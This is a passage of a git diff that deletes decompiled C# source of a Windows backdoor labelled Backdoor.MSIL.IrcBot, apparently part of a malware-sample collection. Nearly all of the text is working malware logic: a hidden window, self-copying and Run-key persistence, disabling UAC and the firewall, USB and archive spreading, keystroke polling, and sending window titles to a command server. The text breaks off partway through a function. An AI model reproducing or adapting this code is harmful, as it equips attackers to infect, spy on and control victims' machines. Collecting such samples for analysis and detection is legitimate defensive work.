- if (Operators.CompareString(valueName, "p", false) == 0)
- {
- str4 = str3 + "Yes\r\n";
- goto label_12;
- }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- str4 = str3 + "No\r\n";
-label_12:
- string Expression = str4 + B.ver;
- string str5;
- try
- {
- str5 = Strings.Replace(Strings.Replace(Strings.Replace(Expression, "Microsoft", ""), "Windows", "Win").Replace("®", "").Replace("™", ""), " ", " ");
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- str5 = Expression + "X\r\n";
- ProjectData.ClearProjectError();
- }
- return str5 + "\r\n \r\n ";
- }
-
- [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
- public static extern IntPtr GetForegroundWindow();
-
- [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
- private static extern int GetWindowThreadProcessId(IntPtr hwnd, ref int lpdwProcessID);
-
- [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)]
- private static extern int GetWindowText(IntPtr hWnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string WinTitle, int MaxLength);
-
- [DllImport("user32.dll", EntryPoint = "GetWindowTextLengthA", CharSet = CharSet.Ansi, SetLastError = true)]
- private static extern int GetWindowTextLength(long hwnd);
-
- public static string A1(ref bool p)
- {
- string str1;
- try
- {
- IntPtr foregroundWindow = API.GetForegroundWindow();
- if (foregroundWindow == IntPtr.Zero)
- {
- str1 = "";
- }
- else
- {
- int windowTextLength = API.GetWindowTextLength((long) foregroundWindow);
- string str2 = Strings.StrDup(windowTextLength + 1, "*");
- API.GetWindowText(foregroundWindow, ref str2, windowTextLength + 1);
- int lpdwProcessID;
- API.GetWindowThreadProcessId(foregroundWindow, ref lpdwProcessID);
- if (lpdwProcessID == 0)
- {
- str1 = API.ENB(ref str2);
- }
- else
- {
- try
- {
- string mainWindowTitle = Process.GetProcessById(lpdwProcessID).MainWindowTitle;
- str1 = API.ENB(ref mainWindowTitle);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- str1 = API.ENB(ref str2);
- ProjectData.ClearProjectError();
- }
- }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- str1 = "";
- ProjectData.ClearProjectError();
- }
- return str1;
- }
-
- public class wd
- {
- public const int HIDE = 0;
- public const int Normal = 1;
- public const int Minimized = 2;
- public const int Maximized = 3;
- public const int Show = 5;
- public const int RESTORE = 9;
- public int hWnd;
-
- public static void G(ref int hwd, ref int A) => API.wd.ShowWindow(hwd, A);
-
- [DllImport("User32")]
- public static extern int ShowWindow(int hwnd, int nCmdShow);
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/AssemblyInfo.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/AssemblyInfo.cs
deleted file mode 100644
index d6825f03..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/AssemblyInfo.cs
+++ /dev/null
@@ -1,13 +0,0 @@
-using System.Reflection;
-using System.Runtime.InteropServices;
-
-[assembly: AssemblyCompany("")]
-[assembly: AssemblyProduct("")]
-[assembly: AssemblyCopyright("")]
-[assembly: AssemblyDescription("")]
-[assembly: AssemblyTitle("")]
-[assembly: AssemblyFileVersion("0.0.0.0")]
-[assembly: Guid("22e4b050-4231-4e7e-b7f4-3aea55166ef2")]
-[assembly: ComVisible(false)]
-[assembly: AssemblyTrademark("")]
-[assembly: AssemblyVersion("0.0.0.0")]
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/B.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/B.cs
deleted file mode 100644
index cabb0208..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/B.cs
+++ /dev/null
@@ -1,1309 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: n.B
-// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5.exe
-
-using Microsoft.VisualBasic;
-using Microsoft.VisualBasic.CompilerServices;
-using Microsoft.VisualBasic.Devices;
-using Microsoft.Win32;
-using n.My;
-using System;
-using System.ComponentModel;
-using System.Diagnostics;
-using System.Drawing;
-using System.IO;
-using System.Net;
-using System.Runtime.CompilerServices;
-using System.Runtime.InteropServices;
-using System.Text;
-using System.Threading;
-using System.Windows.Forms;
-
-namespace n
-{
- [DesignerGenerated]
- public class B : Form
- {
- private IContainer components;
- [AccessedThroughProperty("fs")]
- private FileSystemWatcher _fs;
- public static bool Fw = false;
- public static bool FT = false;
- public static bool netsh;
- public static bool isFT;
- public static bool KON;
- public static string Vname = "VmljdGlt";
- public static RegistryKey Nkey;
- public static bool DS;
- public static string PC = "X";
- public static string ver = "1.4.8";
- public static string exename;
- private string LA;
- public static bool ISEND;
- public A BW;
- public static bool Busy;
- public static bool Rec;
- public static string XRec = "";
- public static int ms;
- [AccessedThroughProperty("WC")]
- private SocketsClient _WC;
- [AccessedThroughProperty("wL")]
- private System.Windows.Forms.Timer _wL;
- [AccessedThroughProperty("k")]
- private System.Windows.Forms.Timer _k;
- public static string no = "127.0.0.1:7";
- public static string Ai;
- public static string SU = "*";
- public static bool UU;
- public static string Uo = "*";
- public static string Ui = "*";
- public static string spread = "*";
- public static string mU = "*";
- public static string FR;
- public static string Cht;
- private int c2;
- private int cc;
- private int c0;
- public static Mutex jMutex;
- public static chat Chat;
- private string IP;
- private static string[] Block = new string[1000000];
- private static int inx;
- private static int err;
-
- public B()
- {
- this.FormClosing += new FormClosingEventHandler(this.B_FormClosing);
- this.Load += new EventHandler(this.B_Load);
- this.BW = new A();
- this.WC = new SocketsClient();
- this.wL = new System.Windows.Forms.Timer();
- this.k = new System.Windows.Forms.Timer();
- this.InitializeComponent();
- }
-
- [STAThread]
- public static void Main() => Application.Run((Form) MyProject.Forms.B);
-
- [DebuggerNonUserCode]
- protected override void Dispose(bool disposing)
- {
- try
- {
- if (!disposing || this.components == null)
- return;
- this.components.Dispose();
- }
- finally
- {
- base.Dispose(disposing);
- }
- }
-
- [DebuggerStepThrough]
- private void InitializeComponent()
- {
- this.fs = new FileSystemWatcher();
- this.fs.BeginInit();
- this.SuspendLayout();
- this.fs.IncludeSubdirectories = true;
- this.fs.SynchronizingObject = (ISynchronizeInvoke) this;
- this.AutoScaleDimensions = new SizeF(6f, 13f);
- this.AutoScaleMode = AutoScaleMode.Font;
- this.ClientSize = new Size(10, 10);
- this.FormBorderStyle = FormBorderStyle.None;
- this.MaximizeBox = false;
- this.MinimizeBox = false;
- this.Name = nameof (B);
- this.Opacity = 0.0;
- this.ShowIcon = false;
- this.ShowInTaskbar = false;
- this.WindowState = FormWindowState.Minimized;
- this.fs.EndInit();
- this.ResumeLayout(false);
- }
-
- internal virtual FileSystemWatcher fs
- {
- get => this._fs;
- [MethodImpl(MethodImplOptions.Synchronized)] set
- {
- FileSystemEventHandler systemEventHandler = new FileSystemEventHandler(this.fs_Created);
- if (this._fs != null)
- this._fs.Created -= systemEventHandler;
- this._fs = value;
- if (this._fs == null)
- return;
- this._fs.Created += systemEventHandler;
- }
- }
-
- public virtual SocketsClient WC
- {
- get => this._WC;
- [MethodImpl(MethodImplOptions.Synchronized)] set
- {
- SocketsClient.onDataArrivalEventHandler arrivalEventHandler = new SocketsClient.onDataArrivalEventHandler(this.W3);
- SocketsClient.onDisconnectEventHandler disconnectEventHandler = new SocketsClient.onDisconnectEventHandler(this.W2);
- SocketsClient.onErrorEventHandler errorEventHandler = new SocketsClient.onErrorEventHandler(this.W1);
- SocketsClient.onConnectEventHandler connectEventHandler = new SocketsClient.onConnectEventHandler(this.W0);
- if (this._WC != null)
- {
- this._WC.onDataArrival -= arrivalEventHandler;
- this._WC.onDisconnect -= disconnectEventHandler;
- this._WC.onError -= errorEventHandler;
- this._WC.onConnect -= connectEventHandler;
- }
- this._WC = value;
- if (this._WC == null)
- return;
- this._WC.onDataArrival += arrivalEventHandler;
- this._WC.onDisconnect += disconnectEventHandler;
- this._WC.onError += errorEventHandler;
- this._WC.onConnect += connectEventHandler;
- }
- }
-
- public virtual System.Windows.Forms.Timer wL
- {
- get => this._wL;
- [MethodImpl(MethodImplOptions.Synchronized)] set
- {
- EventHandler eventHandler = (EventHandler) ((a0, a1) => this.wL_());
- if (this._wL != null)
- this._wL.Tick -= eventHandler;
- this._wL = value;
- if (this._wL == null)
- return;
- this._wL.Tick += eventHandler;
- }
- }
-
- public virtual System.Windows.Forms.Timer k
- {
- get => this._k;
- [MethodImpl(MethodImplOptions.Synchronized)] set => this._k = value;
- }
-
- [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)]
- private static extern int GetAsyncKeyState(long vKey);
-
- [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
- private static extern int SetProcessWorkingSetSize(
- IntPtr process,
- int minimumWorkingSetSize,
- int maximumWorkingSetSize);
-
- public static void E()
- {
- try
- {
- while (true)
- {
- do
- {
- Thread.Sleep(10000);
- GC.Collect();
- GC.WaitForPendingFinalizers();
- }
- while (Environment.OSVersion.Platform != PlatformID.Win32NT);
- B.SetProcessWorkingSetSize(Process.GetCurrentProcess().Handle, -1, -1);
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
-
- public void CL()
- {
- B.KON = false;
- B.Busy = false;
- try
- {
- chat.clos = true;
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
-
- private void B_FormClosing(object sender, FormClosingEventArgs e)
- {
- if (e.CloseReason == CloseReason.WindowsShutDown)
- ProjectData.EndApp();
- else
- e.Cancel = true;
- }
-
- public void R()
- {
- MemoryStream memoryStream1 = new MemoryStream();
- Array Instance1 = (Array) System.IO.File.ReadAllBytes(Application.ExecutablePath);
- int num1 = Instance1.Length - 400;
- int num2 = Instance1.Length - 1;
- for (int index = num1; index <= num2; ++index)
- {
- int num3;
- if (Operators.CompareString(Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) index
- }, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) (index - 1)
- }, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) (index - 2)
- }, (string[]) null)))), "***", false) == 0)
- num3 = index + 1;
- int num4;
- if (Operators.CompareString(Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) index
- }, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) (index - 1)
- }, (string[]) null)))) + Conversions.ToString(Strings.ChrW(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) (index - 2)
- }, (string[]) null)))), "^^^", false) == 0)
- num4 = index - 3;
- if (num3 > 0 & num4 == 0)
- memoryStream1.WriteByte(Conversions.ToByte(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) index
- }, (string[]) null)));
- }
- byte[] array1 = memoryStream1.ToArray();
- MemoryStream memoryStream2 = new MemoryStream();
- memoryStream2.Write(array1, 1, array1.Length - 3);
- Encoding encoding = Encoding.Default;
- byte[] array2 = memoryStream2.ToArray();
- bool flag = false;
- ref bool local = ref flag;
- byte[] bytes = API.ZIP(array2, ref local);
- Array Instance2 = (Array) Strings.Split(encoding.GetString(bytes), IND.Y);
- B.no = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
- {
- (object) 0
- }, (string[]) null));
- B.SU = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
- {
- (object) 1
- }, (string[]) null));
- if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
- {
- (object) 2
- }, (string[]) null), (object) "*", false))
- {
- B.Ai = "*";
- }
- else
- {
- B.Ai = Interaction.Environ(Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
- {
- (object) 2
- }, (string[]) null)), ":")[1]) + "\\" + Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
- {
- (object) 2
- }, (string[]) null)), ":")[0];
- if (Operators.CompareString(B.Ai, Application.ExecutablePath, false) != 0)
- {
- try
- {
- if (System.IO.File.Exists(B.Ai))
- System.IO.File.Delete(B.Ai);
- System.IO.File.Copy(Application.ExecutablePath, B.Ai, true);
- try
- {
- System.IO.File.SetAttributes(B.Ai, FileAttributes.Hidden);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- if (Operators.CompareString(Conversions.ToString(Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
- {
- (object) 2
- }, (string[]) null)), ":")[2][0]), "T", false) == 0)
- {
- string ai = B.Ai;
- string executablePath = Application.ExecutablePath;
- string arguments = "Kill@" + API.ENB(ref executablePath);
- Process.Start(ai, arguments);
- }
- else
- Process.Start(B.Ai);
- ProjectData.EndApp();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.EndApp();
- ProjectData.ClearProjectError();
- }
- }
- if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
- {
- (object) 3
- }, (string[]) null), (object) "^", false))
- B.UU = true;
- if (Strings.InStr(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
- {
- (object) 4
- }, (string[]) null)), "*") == 0)
- {
- B.Uo = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
- {
- (object) 4
- }, (string[]) null));
- new Thread((ParameterizedThreadStart) (a0 => USB.USb(Conversions.ToString(a0)))).Start((object) B.Uo);
- B.spread = "(" + B.Uo + ")USB,";
- }
- B.mU = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
- {
- (object) 5
- }, (string[]) null));
- try
- {
- Mutex.OpenExisting(B.mU);
- ProjectData.EndApp();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- B.jMutex = new Mutex(true, B.mU);
- if (!Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
- {
- (object) 6
- }, (string[]) null), (object) "*", false))
- {
- B.spread += "Rar,Zip";
- B.Ui = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
- {
- (object) 6
- }, (string[]) null));
- this.fs.Path = Interaction.Environ("homedrive") + "\\";
- this.fs.EnableRaisingEvents = true;
- }
- }
- B.Fw = Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
- {
- (object) 9
- }, (string[]) null), (object) "^", false);
- Registry.CurrentUser.CreateSubKey(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
- {
- (object) 8
- }, (string[]) null)));
- B.Nkey = Registry.CurrentUser.OpenSubKey(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
- {
- (object) 8
- }, (string[]) null)), true);
- B.Vname = Conversions.ToString(B.Nkey.GetValue("vname", RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
- {
- (object) 7
- }, (string[]) null))));
- }
-
- private void B_Load(object sender, EventArgs e)
- {
- try
- {
- B.exename = Process.GetCurrentProcess().ProcessName;
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- B.exename = "!";
- ProjectData.ClearProjectError();
- }
- try
- {
- Control.CheckForIllegalCrossThreadCalls = false;
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- byte[] plugin = n.My.Resources.Resources.plugin;
- bool flag = false;
- ref bool local = ref flag;
- C.Plug = API.ZIP(plugin, ref local);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- B.PC = Environment.MachineName + "\\" + Environment.UserName;
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- this.Hide();
- this.Visible = false;
- B.Rec = false;
- try
- {
- string Expression = Interaction.Command();
- if (Expression.Length > 0)
- {
- Array Instance1 = (Array) Strings.Split(Expression, "@");
- object Left = NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 0
- }, (string[]) null);
- if (Operators.ConditionalCompareObjectEqual(Left, (object) "!0", false))
- {
- Thread.Sleep(100);
- try
- {
- Process.GetProcessById(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 2
- }, (string[]) null))).Kill();
- foreach (Process process in Process.GetProcessesByName("wscript"))
- {
- try
- {
- process.Kill();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- System.IO.File.Delete(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null)));
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- MyProject.Computer.Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 2
- }, (string[]) null)));
- MyProject.Computer.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).DeleteValue(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 2
- }, (string[]) null)));
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- else if (Operators.ConditionalCompareObjectEqual(Left, (object) "..", false))
- Thread.Sleep(2000);
- else if (Operators.ConditionalCompareObjectEqual(Left, (object) "Kill", false))
- {
- try
- {
- Array Instance2 = Instance1;
- object[] objArray1 = new object[1];
- object[] objArray2 = objArray1;
- int num = 1;
- // ISSUE: variable of a boxed type
- __Boxed local = (ValueType) num;
- objArray2[0] = (object) local;
- object[] Arguments = objArray1;
- string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, Arguments, (string[]) null));
- string path = API.DEB(ref s);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num,
- (object) s
- }, (string[]) null, true, false);
- System.IO.File.Delete(path);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- if (Operators.ConditionalCompareObjectEqual(MyProject.Computer.Registry.ClassesRoot.GetValue("!", (object) null), (object) null, false))
- {
- B.FR = Conversions.ToString(MyProject.Computer.Clock.LocalTime) + " >> " + Application.ExecutablePath;
- MyProject.Computer.Registry.ClassesRoot.SetValue("!", (object) API.ENB(ref B.FR));
- }
- else
- {
- string s = Conversions.ToString(MyProject.Computer.Registry.ClassesRoot.GetValue("!", (object) "*"));
- B.FR = API.DEB(ref s);
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- B.FR = "*";
- ProjectData.ClearProjectError();
- }
- try
- {
- this.R();
- }
- catch (Exception ex1)
- {
- ProjectData.SetProjectError(ex1);
- B.SU = "*";
- B.mU = "*";
- try
- {
- Registry.CurrentUser.CreateSubKey("nKey");
- B.Nkey = Registry.CurrentUser.OpenSubKey("nKey", true);
- B.Vname = Conversions.ToString(B.Nkey.GetValue("vname", (object) B.Vname));
- }
- catch (Exception ex2)
- {
- ProjectData.SetProjectError(ex2);
- ProjectData.ClearProjectError();
- }
- ProjectData.ClearProjectError();
- }
- try
- {
- if (Operators.ConditionalCompareObjectEqual(B.Nkey.GetValue("FT", (object) ""), (object) "", false))
- {
- B.FT = true;
- B.Nkey.SetValue("FT", (object) "&");
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- this.cc = 4;
- this.wL.Interval = 1000;
- this.wL.Enabled = true;
- if (B.UU)
- this.BW.B.RunWorkerAsync();
- new Thread(new ThreadStart(B.E)).Start();
- try
- {
- Interaction.Shell("reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f", AppWinStyle.Hide);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- new Thread(new ThreadStart(B.Key.Start)).Start();
- this.con();
- }
-
- public void wL_()
- {
- this.wL.Enabled = false;
- try
- {
- ++this.cc;
- ++this.c0;
- if (this.c2 < 5)
- ++this.c2;
- if (this.c2 == 5)
- {
- try
- {
- foreach (Process process1 in Process.GetProcessesByName(Process.GetCurrentProcess().ProcessName))
- {
- try
- {
- if (FileSystem.FileLen(process1.MainModule.FileName) == FileSystem.FileLen(Process.GetCurrentProcess().MainModule.FileName))
- {
- if (process1.Id != Process.GetCurrentProcess().Id)
- {
- try
- {
- process1.Kill();
- foreach (Process process2 in Process.GetProcessesByName("wscript"))
- {
- try
- {
- process2.Kill();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- try
- {
- if (B.Cht.Length > 0)
- {
- B.Chat = new chat();
- chat.clos = false;
- B.Chat.nick = B.Cht;
- B.Chat.Show();
- B.Cht = "";
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- B.Cht = "";
- ProjectData.ClearProjectError();
- }
- if (Operators.CompareString(B.SU, "*", false) != 0)
- {
- if (this.cc > 4)
- {
- try
- {
- RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
- if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue(B.SU), (object) null, false))
- registryKey.SetValue(B.SU, (object) (Application.ExecutablePath + " @.."));
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
- if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue(B.SU), (object) null, false))
- registryKey.SetValue(B.SU, (object) Application.ExecutablePath);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- this.cc = 0;
- }
- }
- try
- {
- if (this.WC.Connected())
- {
- if (B.ISEND)
- {
- string T;
- if (B.FT & !B.isFT)
- {
- B.isFT = true;
- T = "#blue";
- this.SEND(ref T);
- Thread.Sleep(100);
- }
- bool p = false;
- string str = API.A1(ref p);
- if (Operators.CompareString(this.LA, str, false) != 0)
- {
- if (Operators.CompareString(str, "", false) != 0)
- {
- this.LA = str;
- T = "#3" + IND.Y + this.LA;
- this.SEND(ref T);
- }
- }
- }
- }
- else
- {
- this.Dis();
- this.con();
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- this.Dis();
- this.con();
- ProjectData.ClearProjectError();
- }
- if (this.c0 > 3 & Operators.CompareString(B.XRec, "", false) == 0)
- {
- this.c0 = 1;
- try
- {
- if (Operators.CompareString(Dns.GetHostByName(Strings.Split(B.no, ":")[0]).AddressList[0].ToString(), this.IP, false) != 0)
- {
- this.IP = Dns.GetHostByName(Strings.Split(B.no, ":")[0]).AddressList[0].ToString();
- try
- {
- this.Dis();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- this.wL.Enabled = true;
- }
-
- public void con()
- {
- Thread.Sleep(1500);
- try
- {
- try
- {
- this.IP = Dns.GetHostByName(Strings.Split(B.no, ":")[0]).AddressList[0].ToString();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- this.CL();
- B.DS = false;
- if (B.Fw)
- {
- try
- {
- string path = IND.TM + Conversions.ToString(Process.GetCurrentProcess().Id);
- byte[] p = n.My.Resources.Resources.P;
- bool flag = false;
- ref bool local = ref flag;
- byte[] bytes = API.ZIP(p, ref local);
- System.IO.File.WriteAllBytes(path, bytes);
- Interaction.Shell(IND.TM + Conversions.ToString(Process.GetCurrentProcess().Id) + " " + Conversions.ToString(Process.GetCurrentProcess().Id));
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- if (!B.netsh)
- {
- B.netsh = true;
- try
- {
- Process.Start(new ProcessStartInfo()
- {
- FileName = "netsh",
- Arguments = "firewall set opmode disable",
- CreateNoWindow = true,
- WindowStyle = ProcessWindowStyle.Hidden
- });
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- this.WC = new SocketsClient();
- if (B.Rec)
- {
- B.Rec = false;
- this.WC.Connect(Strings.Split(B.XRec, ":")[0], Conversions.ToInteger(Strings.Split(B.XRec, ":")[1]));
- }
- else
- this.WC.Connect(Strings.Split(B.no, ":")[0], Conversions.ToInteger(Strings.Split(B.no, ":")[1]));
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
-
- public void Dis()
- {
- try
- {
- this.CL();
- B.DS = true;
- B.ISEND = false;
- this.WC.Disconnect();
- this.WC = (SocketsClient) null;
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
-
- public void SEND(ref string T)
- {
- try
- {
- this.WC.SendData(this.WC.STB(T));
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
-
- public void W0()
- {
- try
- {
- string T = "#2" + IND.Y + API.A0() + IND.Y + B.Vname;
- this.SEND(ref T);
- }
- catch (Exception ex1)
- {
- ProjectData.SetProjectError(ex1);
- try
- {
- string str = "X";
- int num = 0;
- do
- {
- str += "\r\nX";
- ++num;
- }
- while (num <= 5);
- string T = "#2" + IND.Y + str + IND.Y + B.Vname;
- this.SEND(ref T);
- }
- catch (Exception ex2)
- {
- ProjectData.SetProjectError(ex2);
- ProjectData.ClearProjectError();
- }
- ProjectData.ClearProjectError();
- }
- B.ISEND = true;
- Thread.Sleep(100);
- if (B.Fw)
- {
- try
- {
- Process.GetProcessesByName(Conversions.ToString(Process.GetCurrentProcess().Id))[0].Kill();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- Thread.Sleep(10);
- System.IO.File.Delete(IND.TM + Process.GetCurrentProcess().Id.ToString());
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- this.CL();
- B.DS = false;
- }
-
- public void W1(string T) => this.CL();
-
- public void W2()
- {
- this.CL();
- B.DS = true;
- B.ISEND = false;
- }
-
- public void W3(byte[] Data, int totBytes)
- {
- try
- {
- MemoryStream memoryStream1 = new MemoryStream();
- string Right = "nj-q8";
- byte[] bytes = new byte[5];
- int num = Data.Length - Right.Length;
- for (int count = 0; count <= num; ++count)
- {
- bytes[0] = Data[count];
- bytes[1] = Data[count + 1];
- bytes[2] = Data[count + 2];
- bytes[3] = Data[count + 3];
- bytes[4] = Data[count + 4];
- if (Operators.CompareString(Encoding.Default.GetString(bytes), Right, false) == 0)
- {
- memoryStream1.Dispose();
- MemoryStream memoryStream2 = new MemoryStream();
- memoryStream2.Write(Data, 0, count);
- this.WC.AT(memoryStream2.ToArray());
- if (Data.Length - memoryStream2.ToArray().Length <= 5)
- break;
- memoryStream2.ToArray();
